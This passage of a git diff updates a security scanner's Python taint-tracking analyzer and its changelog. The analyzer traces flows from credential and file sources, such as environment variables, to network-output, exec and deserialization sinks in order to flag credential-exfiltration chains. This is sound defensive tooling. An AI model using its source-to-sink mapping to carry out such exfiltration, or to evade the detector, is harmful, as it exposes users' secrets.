diff --git a/CHANGELOG.md b/CHANGELOG.md index 90b1a88d6..e517a40e3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,6 @@ ### 2.12.0 (Unreleased) ### Features/Bug Fixes +* fix(taint): key TT1-TT6 taint by lexical scope and follow direct calls to functions and methods defined in the same file, so a tainted variable no longer taints same-named variables in other functions (#799). Message-glob baseline rules keep matching TT findings whose rule and message are unchanged; exact baseline fingerprints are bound to the scanner version and suppress nothing after an upgrade (see docs/SUPPRESSION.md), so they must be regenerated in any case. A TT message changes where the earlier message came from a same-named variable in another scope (it now names the variable, source and line that reach the sink); where a more severe source raises the rule (TT2 to TT3 or TT4, TT4 to TT3, TT2 to TT5 or TT6), and at such a sink, where a weaker finding is subsumed or now cites another variable; and where an identifier longer than 120 characters is now shortened. Re-accept those findings or regenerate the baseline. `match_fingerprint` changes only when the rule does. * fix(static): stop code comparisons after removal verbs from reading as unterminated tag-marker directives (#777) * fix(baseline): fingerprint every occurrence of a deduplicated finding so the next scan suppresses all of them (#633) * fix(security): retain incomplete coverage for runtime-selected commands and remeasure active Git clones strictly (#514) diff --git a/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py b/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py index 6ecb65015..4645618b8 100644 --- a/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py +++ b/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py @@ -13,11 +13,13 @@ # See the License for the specific language governing permissions and # limitations under the License. -"""Behavioral taint-tracking analyzer (TT1–TT5): sources -> sinks data-flow analysis. +"""Behavioral taint-tracking analyzer (TT1–TT6): sources -> sinks data-flow analysis. Parses Python AST to identify data sources (env vars, file reads, network input) and sinks (network output, exec, file writes), then tracks flows between them -to flag potential credential/data exfiltration chains. +to flag potential credential/data exfiltration chains. Taint follows Python's +lexical scopes and crosses direct calls to functions and methods defined in the +same file (arguments into parameters, return values back to callers). """ from __future__ import annotations @@ -25,7 +27,7 @@ import ast import time from collections import deque -from collections.abc import Callable +from collections.abc import Callable, Iterable, Sequence from dataclasses import dataclass, field from typing import NamedTuple @@ -341,6 +343,13 @@ def _pick_rule(source_name: str, sink_name: str, is_direct: bool) -> str: class _TaintedVar(NamedTuple): + """One reported taint fact: data from ``source_call`` reaches ``name``. + + ``lineno`` is the line of the statement that last tainted ``name`` (the + assignment, or the call that bound a parameter), the wording earlier + releases used, so messages and message-based baselines keep matching. + """ + name: str source_call: str lineno: int @@ -358,28 +367,29 @@ def _is_open_for_write(node: ast.Call) -> bool: return False -def _find_source_in_expr( - node: ast.expr, - type_map: dict[str, str] | None = None, - aliases: dict[str, str] | None = None, - check_runtime: Callable[[], None] | None = None, +def _call_source( + node: ast.Call, + type_map: dict[str, str] | None, + aliases: dict[str, str] | None, ) -> str | None: - """Find a source call anywhere in an expression tree (handles chained calls). + """Return the source a call reads (``os.getenv``, ``open`` for reading, ...).""" + name = resolve_call_name_typed(node, type_map, aliases) + if name is None or name not in _ALL_SOURCES: + return None + if name == "open" and _is_open_for_write(node): + return None + return name - Handles patterns like ``open("f").read()``, ``requests.get(url).text``, - and plain ``os.environ.get("K")``. - """ - for child in ast.walk(node): - if check_runtime is not None: - check_runtime() - if not isinstance(child, ast.Call): - continue - name = resolve_call_name_typed(child, type_map, aliases) - if name is None or name not in _ALL_SOURCES: - continue - if name == "open" and _is_open_for_write(child): - continue - return name + +def _credential_subscript(node: ast.AST, aliases: dict[str, str]) -> str | None: + """``os.environ["K"]`` (also with ``os`` aliased) as a whole value is a source.""" + if not isinstance(node, ast.Subscript): + return None + base = resolve_dotted_name(node.value) + if base is not None: + base = apply_import_aliases(base, aliases) + if base and base in _CREDENTIAL_SOURCES: + return base return None @@ -404,72 +414,1598 @@ def _find_nested_sources( return results -def _find_tainted_names_in_args( - node: ast.Call, - tainted: dict[str, _TaintedVar], +# ── Lexical scopes and direct calls ───────────────────────────────────── +# +# Taint is keyed by lexical scope rather than by bare name, so a tainted local +# in one function cannot taint an unrelated same-named variable or parameter +# in another. Keys are small integers; a key is built from a scope id plus a +# reference to the identifier string already in the tree, never from a +# qualified name, so memory does not grow with identifier length. +# +# Interprocedural flow is deliberately narrow. Only calls whose callee is +# known from syntax alone, in O(1), bind arguments and read return values: +# +# * ``f(...)`` where ``f`` resolves lexically to functions (or a lambda +# assigned to the name) defined in this file; every definition bound to the +# name is one callee, so redefinitions cost nothing per call; +# * ``self.m(...)`` / ``cls.m(...)`` in a method, ``Class.m(...)``, +# ``super().m(...)`` and ``Class().m(...)`` / ``cls().m(...)``, through the +# class's own methods or those of its nearest in-file base (a bounded, +# precomputed lookup in C3 order); +# * ``Class(...)`` / ``cls(...)``, which bind to ``__init__`` and ``__new__``. +# +# Receivers of any other shape (``obj.m(...)``) are not resolved and bind +# nothing, exactly as before. ``self.x`` / ``cls.x`` attributes are per class: +# a read sees stores in the class and its in-file bases, never in siblings. + +_MODULE = 0 +_FUNCTION = 1 +_LAMBDA = 2 +_COMPREHENSION = 3 +_CLASS = 4 + +_FunctionNode = ast.FunctionDef | ast.AsyncFunctionDef +_COMPREHENSIONS = (ast.ListComp, ast.SetComp, ast.GeneratorExp, ast.DictComp) + +# Call-site positional arguments at or beyond this parameter index share one +# wildcard slot, and an ``*args`` unpacking fills a wildcard slot keyed by the +# parameter index it starts at (at most this one), so binding work per +# definition is bounded by a constant. +_MAX_POSITIONAL_SLOTS = 16 +# The in-file base lookup visits at most this many classes (the class itself +# included). Each class merges its bases' (already cut) orders once, so the +# work is linear in the bases the file lists. +_MAX_ANCESTORS = 8 + +# How a flow changes the fact it carries (see ``_mark_targets``). +_ASSIGN = 0 # cites the flow's own line +_PASS = 1 # keeps the line of the fact it forwards +_RETURN = 2 # into a function's return summary: never carries bound facts +_BIND = 3 # from a call-site argument into a callee's parameter slot + +# A key keeps one fact per lane; when the lanes agree (almost always) they +# share one fact, which propagates once: +# +# * lane 0, the most severe source for network output: credential (TT3) > +# file read (TT4) > external input (TT2), so a helper's network or file +# source never hides a credential; +# * lane 1, the most severe source for code execution and deserialization: +# external input (TT5/TT6) > file read (TT6) > credential (TT2), so a +# helper's credential never hides user or network input reaching ``exec`` +# or ``pickle.loads``; +# * lane 2, the first source to arrive, unranked, in the order earlier +# releases propagated (the source a ``main`` message cites). +# +# Lanes 0 and 1 decide the rule at a sink (file writes, TT2 for every +# source, read lane 0). The message cites the lane 2 fact whenever it gives +# that same rule, so a more severe source replaces the cited one only when it +# changes the rule (see ``_TaintGraph.cited``). +_SOURCE_NAMES: tuple[str, ...] = tuple(sorted(_ALL_SOURCES)) +_SOURCE_INDEX: dict[str, int] = {name: index for index, name in enumerate(_SOURCE_NAMES)} +_LANE_RANKS: tuple[tuple[int, int, int], ...] = tuple( + (2, 0, 0) + if name in _CREDENTIAL_SOURCES + else (0, 2, 0) + if name in _EXTERNAL_INPUT_SOURCES + else (1, 1, 0) + for name in _SOURCE_NAMES +) +_LANES = (0, 1, 2) +_FIRST_LANE = 2 +_ALL_LANES = 7 + +# A fact is (source index, line). +_Fact = tuple[int, int] + + +def _noop() -> None: + return None + + +class _Scope: + """One Python namespace: module, function, lambda, comprehension or class body.""" + + __slots__ = ( + "kind", + "parent", + "id", + "name", + "in_function", + "bound", + "declared_global", + "declared_nonlocal", + "children", + "names", + "definitions", + "function", + "class_def", + ) + + def __init__(self, kind: int, parent: _Scope | None, scope_id: int, name: str) -> None: + self.kind = kind + self.parent = parent + self.id = scope_id + self.name = name + # Whether facts bound from a call site stay bound in this scope's keys. + self.in_function = kind in (_FUNCTION, _LAMBDA) or ( + kind == _COMPREHENSION and parent is not None and parent.in_function + ) + self.bound: set[str] | None = None + self.declared_global: set[str] | None = None + self.declared_nonlocal: set[str] | None = None + self.children: list[_Scope] | None = None + # Name nodes, and def/class statements, whose names resolve in this scope. + self.names: list[ast.Name] | None = None + self.definitions: list[tuple[str, _Function | _ClassDef]] | None = None + self.function: _Function | None = None + self.class_def: _ClassDef | None = None + + def bind(self, name: str) -> None: + if self.bound is None: + self.bound = set() + self.bound.add(name) + + def request(self, node: ast.Name) -> None: + if self.names is None: + self.names = [] + self.names.append(node) + + def define(self, name: str, definition: _Function | _ClassDef) -> None: + self.bind(name) + if self.definitions is None: + self.definitions = [] + self.definitions.append((name, definition)) + + +class _Function: + """A ``def``/``async def`` or lambda, with the callee group it belongs to.""" + + __slots__ = ("node", "scope", "kind", "key", "group") + + def __init__(self, node: _FunctionNode | ast.Lambda, scope: _Scope) -> None: + self.node = node + self.scope = scope + self.kind = "function" # function | instance | class | static + self.key = -1 # key of the name the definition binds + self.group: _Group | None = None + + +class _ClassDef: + __slots__ = ("node", "scope", "key", "cls") + + def __init__(self, node: ast.ClassDef, scope: _Scope) -> None: + self.node = node + self.scope = scope + self.key = -1 + self.cls: _Class | None = None + + +class _Class: + """Every ``class`` statement bound to one name (redefinitions merge).""" + + __slots__ = ("id", "defs", "bases", "methods", "ancestors", "_body_names") + + def __init__(self, class_id: int) -> None: + self.id = class_id + self.defs: list[_ClassDef] = [] + self.bases: list[_Class] = [] + self.methods: dict[str, dict[str, _Group]] = {} + self.ancestors: list[_Class] | None = None + self._body_names: set[str] | None = None + + def body_names(self) -> set[str]: + """Names any of the class bodies binds (assignment, ``def``, import, ...).""" + if self._body_names is None: + names: set[str] = set() + for class_def in self.defs: + names.update(class_def.scope.bound or ()) + self._body_names = names + return self._body_names + + +class _Group: + """One callee: every function bound to a name, or every same-kind method + of a class with one name. Call sites bind into its argument slots, which + flow into each definition's parameters once. + + Each function belongs to exactly one group. A lambda bound to several + names (``a = b = lambda ...``) is one group that every such name shares, + so its parameters are linked once however many names it has. + """ + + __slots__ = ( + "id", + "kind", + "functions", + "merged", + "slots", + "named", + "kwarg_named", + ) + + def __init__(self, group_id: int, kind: str) -> None: + self.id = group_id + self.kind = kind + self.functions: list[_Function] = [] + # The group this one was merged into, if any (union-find parent). + self.merged: _Group | None = None + self.slots: dict[object, int] = {} + # Computed once, on the first call bound into the group (see + # ``signature``): names a keyword argument can bind to, and the names + # every ``**kwargs`` definition of the group binds by name instead. + self.named: set[str] | None = None + self.kwarg_named: set[str] | None = None + + def add(self, function: _Function) -> None: + self.functions.append(function) + function.group = self + + def root(self) -> _Group: + group = self + while group.merged is not None: + group = group.merged + node = self + while node.merged is not None and node.merged is not group: + following = node.merged + node.merged = group # path compression + node = following + return group + + def signature(self) -> tuple[set[str], set[str] | None]: + """(names a keyword can bind, names every ``**kwargs`` definition takes + by name or ``None`` when no definition has ``**kwargs``). + + A keyword naming a parameter binds only that parameter; it reaches a + ``**kwargs`` only when some definition with ``**kwargs`` lacks it + (positional-only names do reach ``**kwargs``). + """ + if self.named is None: + named: set[str] = set() + kwarg_named: set[str] | None = None + for function in self.functions: + args = function.node.args + names = {arg.arg for arg in args.args} + names.update(arg.arg for arg in args.kwonlyargs) + named |= names + if args.kwarg is not None: + kwarg_named = names if kwarg_named is None else kwarg_named & names + self.named = named + self.kwarg_named = kwarg_named + return self.named, self.kwarg_named + + +class _CallTargets(NamedTuple): + # (callee, receiver offset) pairs the call binds its arguments into. + members: tuple[tuple[_Group, int], ...] + # Callees whose return summary the call's value reads. + results: tuple[_Group, ...] + + +_NO_TARGETS = _CallTargets((), ()) + + +def _parameters(args: ast.arguments) -> list[ast.arg]: + """Every parameter a function binds, in signature order.""" + params = [*args.posonlyargs, *args.args] + if args.vararg is not None: + params.append(args.vararg) + params.extend(args.kwonlyargs) + if args.kwarg is not None: + params.append(args.kwarg) + return params + + +def _decorator_name(decorator: ast.expr) -> str | None: + if isinstance(decorator, ast.Call): + decorator = decorator.func + if isinstance(decorator, ast.Name): + return decorator.id + if isinstance(decorator, ast.Attribute): + return decorator.attr + return None + + +def _method_kind(node: _FunctionNode) -> str: + names = {_decorator_name(decorator) for decorator in node.decorator_list} + if "staticmethod" in names or node.name == "__new__": + return "static" + if "classmethod" in names or node.name in ("__init_subclass__", "__class_getitem__"): + return "class" + return "instance" + + +def _receiver_offset(kind: str, class_object: bool) -> int: + """Leading parameters a call binds implicitly (``self`` / ``cls``). + + ``self.m(x)`` binds ``x`` to an instance method's second parameter; + ``Class.m(obj, x)`` and ``cls.m(obj, x)`` pass ``obj`` explicitly. + """ + if kind == "class": + return 1 + if kind == "instance": + return 0 if class_object else 1 + return 0 + + +def _c3(cls: _Class, bases: list[_Class]) -> list[_Class]: + """C3 linearization of *cls* from its bases' linearizations, cut at ``_MAX_ANCESTORS``. + + Every base takes part in the merge; only the result is cut. Bases are + already linearized, and cut, so a hierarchy deeper than the cap can + differ from Python's order past the classes kept. A base still being + linearized (a cycle) stands for itself. An inconsistent hierarchy, which + Python rejects, continues with the leftmost remaining head. + """ + result = [cls] + if not bases: + return result + sequences = [ + [c for c in (base.ancestors if base.ancestors is not None else [base]) if c is not cls] + for base in bases + ] + if len(sequences) == 1: # single inheritance: the base's order + result.extend(sequences[0][: _MAX_ANCESTORS - 1]) + return result + sequences.append([base for base in bases if base is not cls]) + # How many sequences hold each class after their head. + tails: dict[int, int] = {} + for sequence in sequences: + for c in sequence[1:]: + tails[c.id] = tails.get(c.id, 0) + 1 + positions = [0] * len(sequences) + placed = {cls.id} + while len(result) < _MAX_ANCESTORS: + candidate: _Class | None = None + leftmost: _Class | None = None + for sequence, position in zip(sequences, positions, strict=True): + if position < len(sequence): + head = sequence[position] + if leftmost is None: + leftmost = head + if not tails.get(head.id): + candidate = head + break + candidate = candidate or leftmost + if candidate is None: + break + if candidate.id not in placed: + placed.add(candidate.id) + result.append(candidate) + for i, sequence in enumerate(sequences): + position = positions[i] + if position < len(sequence) and sequence[position] is candidate: + position += 1 + positions[i] = position + if position < len(sequence): + tails[sequence[position].id] -= 1 + return result + + +class _ScopeIndex: + """Lexical scopes of one module plus the in-file callees calls can bind to.""" + + def __init__(self) -> None: + self.scopes: list[_Scope] = [] + # Statements and expressions that create flows, with their scope, in + # ``ast.walk`` (breadth-first) order: Assign, Return and Call. + self.statements: list[tuple[ast.AST, _Scope]] = [] + self.functions: list[_Function] = [] + self.lambdas: dict[ast.Lambda, _Function] = {} + self.lambda_bindings: list[tuple[ast.Name, ast.Lambda]] = [] + self.class_defs: list[_ClassDef] = [] + self.classes: list[_Class] = [] + self.attributes: list[ast.Attribute] = [] + self.super_scopes: dict[ast.Call, _Scope] = {} + # Keys: an id per (scope id, name) or per synthetic descriptor. + self._ids: dict[tuple[object, ...], int] = {} + self.key_scope: list[_Scope | None] = [] + self.key_name: list[str] = [] + # 1 when a fact bound from a call site stays bound in the key (function + # locals); 0 for module, class and attribute state, where it becomes + # an ordinary fact. + self.local = bytearray() + self.name_key: dict[ast.Name, int] = {} + # A class-body read of a name the class also binds sees the class's + # value or, before the class binds it, the module global (Python's + # LOAD_NAME). It reads a view fed by both keys, so the class's own + # value (and ``self.x``) never takes the global's taint: + # (view, class key, module key), and the read nodes' views. + self.class_reads: dict[tuple[int, int, int], None] = {} + self.class_read_views: dict[ast.Name, int] = {} + # Keys of ``**kwargs`` parameters: forwarding one (``f(**kwargs)``) + # binds nothing in the callee, as on ``main``. + self.kwarg_params: set[int] = set() + self.class_of_key: dict[int, _Class] = {} + self.function_groups: dict[int, _Group] = {} + self.groups: list[_Group] = [] + # Key of each method's ``self``/``cls`` parameter -> (class, is ``cls``). + self.receivers: dict[int, tuple[_Class, bool]] = {} + # Attribute read keys (``self.x`` / ``cls.x``) by node and by (class, attr). + self.views: dict[ast.Attribute, int] = {} + self.view_list: list[tuple[_Class, str, int]] = [] + self._calls: dict[ast.Call, _CallTargets] = {} + self._lookups: dict[tuple[int, str, int], tuple[_Group, ...]] = {} + self._lambda_groups: dict[ast.Lambda, _Group] = {} + + @property + def module(self) -> _Scope: + return self.scopes[0] + + def new_scope(self, kind: int, parent: _Scope | None, name: str) -> _Scope: + scope = _Scope(kind, parent, len(self.scopes), name) + self.scopes.append(scope) + if parent is not None: + if parent.children is None: + parent.children = [] + parent.children.append(scope) + return scope + + # ── keys ── + + def _new_key(self, scope: _Scope | None, name: str, local: bool) -> int: + key = len(self.key_scope) + self.key_scope.append(scope) + self.key_name.append(name) + self.local.append(1 if local else 0) + return key + + def key(self, scope: _Scope, name: str) -> int: + """Key of *name* bound in *scope* itself.""" + ident = (scope.id, name) + key = self._ids.get(ident) + if key is None: + key = self._new_key(scope, name, scope.in_function) + self._ids[ident] = key + return key + + def synthetic(self, ident: tuple[object, ...], local: bool, name: str = "") -> int: + key = self._ids.get(ident) + if key is None: + key = self._new_key(None, name, local) + self._ids[ident] = key + return key + + def visible(self, key: int, root: _Scope) -> bool: + """Whether a read evaluated from *root* carries *key*'s data. + + A lambda's parameters and a comprehension's targets live only inside + it: an expression that merely contains the lambda or comprehension + does not hold their values (a function object does not carry its + arguments), so they are skipped unless the walk starts in that scope. + """ + owner = self.key_scope[key] + return owner is None or owner is root or owner.kind not in (_LAMBDA, _COMPREHENSION) + + # ── callees ── + + def function_group(self, key: int) -> _Group: + group = self.function_groups.get(key) + if group is None: + group = self._new_group("function") + self.function_groups[key] = group + return group + + def _new_group(self, kind: str) -> _Group: + group = _Group(len(self.groups), kind) + self.groups.append(group) + return group + + def method_group(self, cls: _Class, name: str, kind: str) -> _Group: + kinds = cls.methods.setdefault(name, {}) + group = kinds.get(kind) + if group is None: + group = self._new_group(kind) + kinds[kind] = group + return group + + def lambda_group(self, node: ast.Lambda, function: _Function) -> _Group: + """The one callee of a lambda, shared by every name it is bound to.""" + group = self._lambda_groups.get(node) + if group is None: + group = self._new_group("function") + group.add(function) + self._lambda_groups[node] = group + return group.root() + + def bind_name(self, key: int, group: _Group) -> None: + """Make *group* (a lambda's) a callee of the name *key*. + + The first binding shares the group; a name with another definition + merges the two groups (redefinitions are one callee), so a lambda + bound to many names is never copied per name. + """ + current = self.function_groups.get(key) + if current is None: + self.function_groups[key] = group + return + current, group = current.root(), group.root() + if current is group: + return + if len(current.functions) < len(group.functions): + current, group = group, current + group.merged = current + for function in group.functions: + function.group = current + current.functions.extend(group.functions) + group.functions = [] + + def finish_groups(self) -> None: + for key, group in self.function_groups.items(): + if group.merged is not None: + self.function_groups[key] = group.root() + + def ancestors(self, cls: _Class, tick: Callable[[], None]) -> list[_Class]: + """*cls* then its in-file bases in C3 (method resolution) order, bounded. + + Each class merges the (cut) linearizations of all its bases and keeps + the first ``_MAX_ANCESTORS`` classes, so the work per class is linear + in the bases it lists. Classes are linearized bases + first, iteratively, so a long inheritance chain cannot exhaust the + stack; a cycle (possible when redefinitions merge) is cut. + """ + if cls.ancestors is not None: + return cls.ancestors + visiting: set[int] = set() + stack = [cls] + while stack: + tick() + current = stack[-1] + if current.ancestors is not None: + stack.pop() + continue + bases = current.bases + if current.id not in visiting: + visiting.add(current.id) + pending = [ + base for base in bases if base.ancestors is None and base.id not in visiting + ] + if pending: + stack.extend(reversed(pending)) + continue + stack.pop() + current.ancestors = _c3(current, bases) + return cls.ancestors + + def lookup( + self, cls: _Class, name: str, skip: int, tick: Callable[[], None] + ) -> tuple[_Group, ...]: + """Method groups named *name* on the nearest class in *cls*'s lookup chain. + + *skip* is 1 for ``super()``, which starts after the class itself. + """ + memo = (cls.id, name, skip) + found = self._lookups.get(memo) + if found is None: + found = () + for candidate in self.ancestors(cls, tick)[skip:]: + kinds = candidate.methods.get(name) + if kinds: + found = tuple(kinds.values()) + break + self._lookups[memo] = found + return found + + def super_class(self, call: ast.Call) -> _Class | None: + """The class whose bases ``super()`` / ``super(C, obj)`` starts from.""" + func = call.func + if not isinstance(func, ast.Name) or func.id != "super": + return None + key = self.name_key.get(func) + if key is None or self.key_scope[key] is not self.module: + return None + if self.module.bound is not None and "super" in self.module.bound: + return None # shadowed builtin + if call.args: + first = call.args[0] + if isinstance(first, ast.Name): + return self.class_of_key.get(self.name_key.get(first, -1)) + return None + scope = self.super_scopes.get(call) + while scope is not None and scope.kind in (_LAMBDA, _COMPREHENSION): + scope = scope.parent + if scope is None or scope.kind != _FUNCTION: + return None + parent = scope.parent + if parent is None or parent.class_def is None: + return None + return parent.class_def.cls + + def constructed_class(self, key: int) -> _Class | None: + """The class ``Name(...)`` constructs: an in-file class name, or ``cls``.""" + receiver = self.receivers.get(key) + if receiver is not None: + return receiver[0] if receiver[1] else None # cls(...) in a classmethod + return self.class_of_key.get(key) + + def call_targets(self, call: ast.Call, tick: Callable[[], None]) -> _CallTargets: + """The in-file callees a call reaches, resolved from syntax alone.""" + cached = self._calls.get(call) + if cached is not None: + return cached + members: list[tuple[_Group, int]] = [] + results: list[_Group] = [] + func = call.func + if isinstance(func, ast.Name): + key = self.name_key.get(func, -1) + group = self.function_groups.get(key) + if group is not None: + members.append((group, 0)) + results.append(group) + constructed = self.constructed_class(key) + if constructed is not None: + for group in self.lookup(constructed, "__init__", 0, tick): + members.append((group, 0 if group.kind == "static" else 1)) + # ``C(x)`` also calls ``C.__new__(C, x)``: ``cls`` is implicit. + for group in self.lookup(constructed, "__new__", 0, tick): + members.append((group, 1)) + elif isinstance(func, ast.Lambda): + function = self.lambdas.get(func) + if function is not None: + members.append((self.lambda_group(func, function), 0)) + elif isinstance(func, ast.Attribute): + value = func.value + cls: _Class | None = None + class_object = False + skip = 0 + if isinstance(value, ast.Name): + key = self.name_key.get(value, -1) + receiver = self.receivers.get(key) + if receiver is not None: + cls, class_object = receiver + else: + cls = self.class_of_key.get(key) + class_object = True + elif isinstance(value, ast.Call): + cls = self.super_class(value) + if cls is not None: + skip = 1 + elif isinstance(value.func, ast.Name): + # ``C().m(...)`` / ``cls().m(...)``: an instance of an in-file class. + cls = self.constructed_class(self.name_key.get(value.func, -1)) + if cls is not None: + for group in self.lookup(cls, func.attr, skip, tick): + members.append((group, _receiver_offset(group.kind, class_object))) + results.append(group) + found = _CallTargets(tuple(members), tuple(results)) if members else _NO_TARGETS + self._calls[call] = found + return found + + # ── attributes ── + + def receiver_class(self, node: ast.Attribute) -> _Class | None: + """The class of ``self`` / ``cls`` in ``self.x`` / ``cls.x``, if it is one.""" + if not isinstance(node.value, ast.Name): + return None + receiver = self.receivers.get(self.name_key.get(node.value, -1)) + return receiver[0] if receiver is not None else None + + def attribute_store(self, node: ast.Attribute) -> int | None: + cls = self.receiver_class(node) + if cls is None: + return None + return self.synthetic(("store", cls.id, node.attr), False) + + def class_body_store(self, cls: _Class, name: str) -> int: + """Key of a name a class body assigns, read as ``self.name`` / ``cls.name``. + + Kept apart from ``self.x`` stores: a subclass that rebinds the name in + its own body shadows a base's class-body value. + """ + return self.synthetic(("class", cls.id, name), False) + + def attribute_view(self, node: ast.Attribute) -> int | None: + """Key read by ``self.x`` / ``cls.x``: stores in the class and its bases.""" + key = self.views.get(node) + if key is not None: + return key + if not isinstance(node.ctx, ast.Load): + return None + cls = self.receiver_class(node) + if cls is None: + return None + ident = ("view", cls.id, node.attr) + key = self._ids.get(ident) + if key is None: + key = self.synthetic(ident, False) + self.view_list.append((cls, node.attr, key)) + self.views[node] = key + return key + + # ── debugging / tests ── + + def qualname(self, scope: _Scope) -> str: + parts: list[str] = [] + current: _Scope | None = scope + while current is not None and current.kind != _MODULE: + parent = current.parent + if parent is not None and parent.kind in (_FUNCTION, _LAMBDA, _COMPREHENSION): + parts.append(f".{current.name}") + else: + parts.append(current.name) + current = parent + return ".".join(reversed(parts)) + + +def _build_scope_index( + tree: ast.AST, check_runtime: Callable[[], None] | None = None, -) -> list[_TaintedVar]: - """Find references to tainted variables in a call's arguments and keywords.""" - seen: set[str] = set() - hits: list[_TaintedVar] = [] - for child in ast.walk(node): - if check_runtime is not None: - check_runtime() - if child is node: +) -> _ScopeIndex: + """Assign every name to its lexical scope and index in-file callees. + + Three linear passes: a breadth-first visit (the same order as + ``ast.walk``) that records scopes, bindings and flow statements; a + depth-first pass over the scope tree that resolves every name with one + stack per identifier, O(1) per name however deep the nesting; and an + indexing pass over class and function definitions. + """ + tick = check_runtime or _noop + index = _ScopeIndex() + module = index.new_scope(_MODULE, None, "") + # Nodes evaluated in a different scope than their parent (bodies of + # functions, classes and lambdas; comprehension elements). + switch: dict[ast.AST, _Scope] = {} + # Walrus targets bind in the nearest enclosing non-comprehension scope. + walrus: dict[ast.Name, _Scope] = {} + annotation_only: set[ast.Name] = set() + + queue: deque[tuple[ast.AST, _Scope]] = deque([(tree, module)]) + while queue: + tick() + node, scope = queue.popleft() + if isinstance(node, ast.Name): + if isinstance(node.ctx, ast.Load): + scope.request(node) + elif node in annotation_only: + pass # ``x: T`` in a class body binds nothing + else: + binding = walrus.pop(node, scope) + binding.bind(node.id) + binding.request(node) continue - var_name: str | None = None - if isinstance(child, ast.Name): - var_name = child.id - elif isinstance(child, ast.Subscript): - var_name = resolve_dotted_name(child.value) - if var_name and var_name not in seen: - tv = tainted.get(var_name) - if tv: - seen.add(var_name) - hits.append(tv) - return hits + if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)): + inner = index.new_scope(_FUNCTION, scope, node.name) + function = _Function(node, inner) + inner.function = function + index.functions.append(function) + scope.define(node.name, function) + for arg in _parameters(node.args): + inner.bind(arg.arg) + # Only the body runs in the new scope; decorators, defaults and + # annotations are evaluated where the def stands. + for statement in node.body: + switch[statement] = inner + elif isinstance(node, ast.ClassDef): + inner = index.new_scope(_CLASS, scope, node.name) + class_def = _ClassDef(node, inner) + inner.class_def = class_def + index.class_defs.append(class_def) + scope.define(node.name, class_def) + for statement in node.body: + switch[statement] = inner + elif isinstance(node, ast.Lambda): + inner = index.new_scope(_LAMBDA, scope, "") + function = _Function(node, inner) + inner.function = function + index.functions.append(function) + index.lambdas[node] = function + for arg in _parameters(node.args): + inner.bind(arg.arg) + switch[node.body] = inner + elif isinstance(node, _COMPREHENSIONS): + # Python 3 comprehensions have their own scope; only the first + # iterable is evaluated in the enclosing one. + inner = index.new_scope(_COMPREHENSION, scope, f"<{type(node).__name__.lower()}>") + if isinstance(node, ast.DictComp): + switch[node.key] = inner + switch[node.value] = inner + else: + switch[node.elt] = inner + for position, generator in enumerate(node.generators): + switch[generator.target] = inner + for condition in generator.ifs: + switch[condition] = inner + if position: + switch[generator.iter] = inner + elif isinstance(node, ast.NamedExpr): + binding = scope + while binding.kind == _COMPREHENSION and binding.parent is not None: + binding = binding.parent + if isinstance(node.target, ast.Name): + walrus[node.target] = binding + elif isinstance(node, ast.Global): + if scope.declared_global is None: + scope.declared_global = set() + scope.declared_global.update(node.names) + elif isinstance(node, ast.Nonlocal): + if scope.declared_nonlocal is None: + scope.declared_nonlocal = set() + scope.declared_nonlocal.update(node.names) + elif isinstance(node, (ast.Import, ast.ImportFrom)): + for alias in node.names: + if alias.name != "*": + scope.bind(alias.asname or alias.name.split(".")[0]) + elif isinstance(node, ast.ExceptHandler): + if node.name: + scope.bind(node.name) + elif isinstance(node, (ast.MatchAs, ast.MatchStar)): + if node.name: + scope.bind(node.name) + elif isinstance(node, ast.MatchMapping): + if node.rest: + scope.bind(node.rest) + elif isinstance(node, ast.AnnAssign): + target = node.target + if node.value is None and scope.kind == _CLASS and isinstance(target, ast.Name): + annotation_only.add(target) + elif isinstance(node, ast.Assign): + index.statements.append((node, scope)) + if isinstance(node.value, ast.Lambda): + for target in node.targets: + if isinstance(target, ast.Name): + index.lambda_bindings.append((target, node.value)) + elif isinstance(node, ast.Return): + index.statements.append((node, scope)) + elif isinstance(node, ast.Call): + index.statements.append((node, scope)) + if isinstance(node.func, ast.Name) and node.func.id == "super": + index.super_scopes[node] = scope + elif isinstance(node, ast.Attribute): + if isinstance(node.value, ast.Name): + index.attributes.append(node) + for child in ast.iter_child_nodes(node): + if not isinstance(child, ast.expr_context): + queue.append((child, switch.pop(child, scope))) + + _resolve_names(index, tick) + _index_definitions(index, tick) + return index + + +def _resolve_names(index: _ScopeIndex, tick: Callable[[], None]) -> None: + """Resolve every recorded name by Python's rules, O(1) per name. + + A depth-first walk of the scope tree keeps, per identifier, a stack of + the function-like scopes that bind it (``global`` pushes the module). + A name read in a function, lambda or comprehension is local if bound + there unless declared ``global``/``nonlocal``, and otherwise resolves to + the nearest enclosing binder, then the module. Class bodies see their own + names but are invisible to the functions and comprehensions inside them. + A class-body read of a name the class binds sees the class's value or, + before the class binds it, the module global (CPython's LOAD_NAME; an + enclosing function's local is not consulted), so it reads both. + """ + module = index.module + stacks: dict[str, list[_Scope]] = {} + + def binding_scope(scope: _Scope, name: str) -> _Scope: + if scope.declared_global is not None and name in scope.declared_global: + return module + if scope.kind == _MODULE: + return module + if scope.kind == _CLASS: + nonlocal_names = scope.declared_nonlocal + if ( + scope.bound is not None + and name in scope.bound + and (nonlocal_names is None or name not in nonlocal_names) + ): + return scope + stack = stacks.get(name) + return stack[-1] if stack else module + + work: list[tuple[_Scope, list[str] | None]] = [(module, None)] + while work: + scope, pushed = work.pop() + if pushed is not None: + for name in pushed: + stacks[name].pop() + continue + tick() + names: list[str] = [] + if scope.kind not in (_MODULE, _CLASS): + declared_global = scope.declared_global or set() + declared_nonlocal = scope.declared_nonlocal or set() + for name in declared_global: + stacks.setdefault(name, []).append(module) + names.append(name) + for name in scope.bound or (): + if name not in declared_global and name not in declared_nonlocal: + stacks.setdefault(name, []).append(scope) + names.append(name) + for node in scope.names or (): + tick() + binder = binding_scope(scope, node.id) + key = index.key(binder, node.id) + index.name_key[node] = key + if binder is scope and scope.kind == _CLASS and isinstance(node.ctx, ast.Load): + view = index.synthetic(("class read", scope.id, node.id), False, node.id) + index.class_read_views[node] = view + index.class_reads[(view, key, index.key(module, node.id))] = None + for name, definition in scope.definitions or (): + tick() + definition.key = index.key(binding_scope(scope, name), name) + work.append((scope, names)) + if scope.children: + work.extend((child, None) for child in reversed(scope.children)) + + +def _index_definitions(index: _ScopeIndex, 